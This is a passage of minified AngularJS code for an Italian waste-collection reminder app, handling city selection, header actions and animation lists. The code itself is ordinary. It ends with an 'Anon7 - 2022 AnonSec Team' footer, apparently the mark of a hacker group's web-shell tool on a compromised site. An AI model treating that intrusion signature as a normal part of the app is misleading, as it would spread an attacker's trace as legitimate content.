style="color:black; width:80%; font-size:14px;margin: 0 auto;">Cosa Butto Oggi ti ricorda cosa buttare oggi per rispettare la raccolta differenziata nel tuo paese.</div>',onOpen:function(el){var html=$compile('<select chosen style="padding: 0px !important;width: 70%;" class="w-100 localytics-chosen" options="comuni" ng-model="cittaSelezionata.istat" ng-options="comune.istat as comune.comune group by comune.regione for comune in comuni" ng-change="(mactrl.hctrl)?mactrl.hctrl.getGiorno():\'\';(mactrl.soctrl)?mactrl.soctrl.init():\'\';" data-placeholder="Inserisci il tuo comune!"  group_search="false" search_contains="false" enable-split-word-search="false" no-results-text="\'Non è stato trovato nessun risultato :(\'" max_shown_results="100"><option></option></select>')($scope);angular.element(document.getElementById("includimihome")).append(html)}}).then(function(val){-1<$scope.cittaSelezionata.istat?1<$scope.cittaSelezionata.zone.length&&swal.fire({title:"Seleziona una zona della tua citta",imageUrl:"img/italia_0.png",imageHeight:300,showCancelButton:!0,cancelButtonText:"Indietro",confirmButtonText:"Fine",reverseButtons:!0,imageAlt:"Seleziona una zona della tua citta",html:'<div id="includimihome2"></div>',onOpen:function(el){var htmla=$compile('<div scelta-zonehome id="zonascelta" citta-selezionata="cittaSelezionata" hctrl="hctrl"></div>')($scope);angular.element(document.getElementById("includimihome2")).append(htmla)}}).then(function(val){"dismiss"in val&&"cancel"==val.dismiss&&$scope.intro()}):Swal.fire({type:"info",title:"Non hai selezionato una città",text:"Puoi selezionare successivamente la città desiderata tramite il menù il alto a destra!"})})},this.layoutType=localStorage.getItem("ma-layout-status"),this.sidebarStat=function(event){angular.element(event.target).parent().hasClass("active")||(this.sidebarToggle.left=!1)},this.listviewSearchStat=!1,this.lvSearch=function(){this.listviewSearchStat=!0},this.lvMenuStat=!1,this.wallCommenting=[],this.wallImage=!1,this.wallVideo=!1,this.wallLink=!1,this.currentSkin="blue",this.skinList=["lightblue","bluegray","cyan","teal","green","orange","blue","purple"],this.skinSwitch=function(color){this.currentSkin=color}}).controller("headerCtrl",function($timeout,$window,growlService,$scope,$rootScope){"localhost"==window.location.host?$scope.localhost=!0:$scope.localhost=!1,this.openSearch=function(){angular.element("#header").addClass("search-toggled"),angular.element("#top-search-wrap").find("input").focus()},this.closeSearch=function(){angular.element("#header").removeClass("search-toggled")},this.clearNotification=function($event){$event.preventDefault();var x=angular.element($event.target).closest(".listview"),y=x.find(".lv-item"),z=y.size();angular.element($event.target).parent().fadeOut(),x.find(".list-group").prepend('<i class="grid-loading hide-it"></i>'),x.find(".grid-loading").fadeIn(1500);var w=0;y.each(function(){var z=$(this);$timeout(function(){z.addClass("animated fadeOutRightBig").delay(1e3).queue(function(){z.remove()})},w+=150)}),$timeout(function(){angular.element("#notifications").addClass("empty"),APIService.async({method:"falseallarmigenerati"}).then(function(adata){}),$scope.hctrl.messageResult=[]},150*z+200)},this.clearLocalStorage=function(){swal({title:"Sei sicuro?",text:"Tutti i tuoi dati salvati nel localStorage saranno rimossi!",type:"warning",showCancelButton:!0,confirmButtonColor:"#F44336",confirmButtonText:"Si, cancellalo!",closeOnConfirm:!1},function(){localStorage.clear(),swal("Completato!","localStorage ripulito","success")})},this.fullScreen=function(){function launchIntoFullscreen(element){element.requestFullscreen?element.requestFullscreen():element.mozRequestFullScreen?element.mozRequestFullScreen():element.webkitRequestFullscreen?element.webkitRequestFullscreen():element.msRequestFullscreen&&element.msRequestFullscreen()}document.exitFullscreen?document.exitFullscreen():document.mozCancelFullScreen?document.mozCancelFullScreen():document.webkitExitFullscreen&&document.webkitExitFullscreen(),launchIntoFullscreen(document.documentElement)}}).controller("loginCtrl",function(){this.login=1,this.register=0,this.forgot=0}).controller("animCtrl",function($timeout){this.attentionSeekers=[{animation:"bounce",target:"attentionSeeker"},{animation:"flash",target:"attentionSeeker"},{animation:"pulse",target:"attentionSeeker"},{animation:"rubberBand",target:"attentionSeeker"},{animation:"shake",target:"attentionSeeker"},{animation:"swing",target:"attentionSeeker"},{animation:"tada",target:"attentionSeeker"},{animation:"wobble",target:"attentionSeeker"}],this.flippers=[{animation:"flip",target:"flippers"},{animation:"flipInX",target:"flippers"},{animation:"flipInY",target:"flippers"},{animation:"flipOutX",target:"flippers"},{animation:"flipOutY",target:"flippers"}],this.lightSpeed=[{animation:"lightSpeedIn",target:"lightSpeed"},{animation:"lightSpeedOut",target:"lightSpeed"}],this.special=[{animation:"hinge",target:"special"},{animation:"rollIn",target:"special"},{animation:"rollOut",target:"special"}],this.bouncingEntrance=[{animation:"bounceIn",target:"bouncingEntrance"},{animation:"bounceInDown",target:"bouncingEntrance"},{animation:"bounceInLeft",target:"bouncingEntrance"},{animation:"bounceInRight",target:"bouncingEntrance"},{animation:"bounceInUp",target:"bouncingEntrance"}],this.bouncingExits=[{animation:"bounceOut",target:"bouncingExits"},{animation:"bounceOutDown",target:"bouncingExits"},{animation:"bounceOutLeft",target:"bouncingExits"},{animation:"bounceOutRight",target:"bouncingExits"},{animation:"bounceOutUp",target:"bouncingExits"}],this.rotatingEntrances=[{animation:"rotateIn",target:"rotatingEntrances"},{animation:"rotateInDownLeft",target:"rotatingEntrances"},{animation:"rotateInDownRight",target:"rotatingEntrances"},{animation:"rotateInUpLeft",target:"rotatingEntrances"},{animation:"rotateInUpRight",target:"rotatingEntrances"}],this.rotatingExits=[{animation:"rotateOut",target:"rotatingExits"},{animation:"rotateOutDownLeft",target:"rotatingExits"},{animation:"rotateOutDownRight",target:"rotatingExits"},{animation:"rotateOutUpLeft",target:"rotatingExits"},{animation:"rotateOutUpRight",target:"rotatingExits"}],this.fadeingEntrances=[{animation:"fadeIn",target:"fadeingEntrances"},{animation:"fadeInDown",target:"fadeingEntrances"},{animation:"fadeInDownBig",target:"fadeingEntrances"},{animation:"fadeInLeft",target:"fadeingEntrances"},{animation:"fadeInLeftBig",target:"fadeingEntrances"},{animation:"fadeInRight",target:"fadeingEntrances"},{animation:"fadeInRightBig",target:"fadeingEntrances"},{animation:"fadeInUp",target:"fadeingEntrances"},{animation:"fadeInBig",target:"fadeingEntrances"}],this.fadeingExits=[{animation:"fadeOut",target:"fadeingExits"},{animation:"fadeOutDown",target:"fadeingExits"},{animation:"fadeOutDownBig",target:"fadeingExits"},{animation:"fadeOutLeft",target:"fadeingExits"},{animation:"fadeOutLeftBig",target:"fadeingExits"},{animation:"fadeOutRight",target:"fadeingExits"},{animation:"fadeOutRightBig",target:"fadeingExits"},{animation:"fadeOutUp",target:"fadeingExits"},{animation:"fadeOutUpBig",target:"fadeingExits"}],this.zoomEntrances=[{animation:"zoomIn",target:"zoomEntrances"},{animation:"zoomInDown",target:"zoomEntrances"},{animation:"zoomInLeft",target:"zoomEntrances"},{animation:"zoomInRight",target:"zoomEntrances"},{animation:"zoomInUp",target:"zoomEntrances"}],this.zoomExits=[{animation:"zoomOut",target:"zoomExits"},{animation:"zoomOutDown",target:"zoomExits"},{animation:"zoomOutLeft",target:"zoomExits"},{animation:"zoomOutRight",target:"zoomExits"},{animation:"zoomOutUp",target:"zoomExits"}],this.ca="",this.setAnimation=function(animation,target){animationDuration="hinge"===animation?2100:1200,angular.element("#"+target).addClass(animation),$timeout(function(){angular.element("#"+target).removeClass(animation)},animationDuration)},this.setAnimationJam=function(animation,target,hidden){animationDuration="hinge"===animation?2100:1200,hidden||angular.element("#"+target).removeClass("hidden"),angular.element("#"+target).addClass(animation),$timeout(function(){angular.element("#"+target).removeClass(animation),hidden&&angular.element("#"+target).addClass("hidden")},animationDuration,function(){})}});

Anon7 - 2022
AnonSec Team